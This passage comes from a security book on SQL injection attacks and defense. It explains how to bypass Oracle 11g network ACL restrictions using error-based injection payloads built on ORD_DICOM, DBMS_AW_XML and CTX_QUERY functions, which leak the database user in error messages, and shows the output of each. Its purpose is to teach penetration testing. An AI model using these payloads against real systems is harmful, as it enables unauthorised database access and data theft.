SQL Injection Attacks and Defense - 2009

170 Chapter 4 • Exploiting SQL Injection
By default, Oracle 11g restricts access to utl_inaddr and all other network packages with
a newly introduced access control list (ACL) system. In this case, we will get an ORA-24247:
network access denied by access control list (ACL) error message without data in it.
In this case, or if the database was hardened and the PUBLIC grant was revoked from
utl_inaddr, we must use other functions. The following Oracle functions (granted to
PUBLIC) return error-controllable messages.
Injecting the following:
Or 1=ORDSYS.ORD_DICOM.GETMAPPINGXPATH(user,'a','b')--
returns the following:
ORA-53044: invalid tag: VICTIMUSER
Injecting the following:
or 1=SYS.DBMS_AW_XML.READAWMETADATA(user,'a')--
returns the following:
ORA-29532: Java call terminated by uncaught Java exception: oracle.AWXML.
AWException: oracle.AWXML.AWException: An error has occurred on the server
Error class: Express Failure
Server error descriptions:
ENG: ORA-34344: Analytic workspace VICTIMUSER is not attached.
Injecting the following:
Or 1= CTXSYS.CTX_QUERY.CHK_XPATH(user,'a','b')--
returns the following:
ORA-20000: Oracle Text error:
DRG-11701: thesaurus VICTIMUSER does not exist
ORA-06512: at "CTXSYS.DRUE", line 160
ORA-06512: at "CTXSYS.DRITHSX", line 538
ORA-06512: at line 1
Enumerating the Database Schema
You have seen a number of different techniques for extracting data from the remote database.
To illustrate these techniques, we have retrieved only small pieces of information, so now it’s
time to extend our scope and see how to use these techniques to obtain larger amounts of
data. After all, databases can be huge beasts, containing several terabytes of data. To mount a
successful attack, and to properly assess the risk that is posed by an SQL injection vulnerability,
performing a fingerprint and squeezing a few bits of information is not enough: You must
show that a skilled and resourceful attacker is able to enumerate the tables that are present in
the database and quickly extract the ones that he is interested in. In this section, a few examples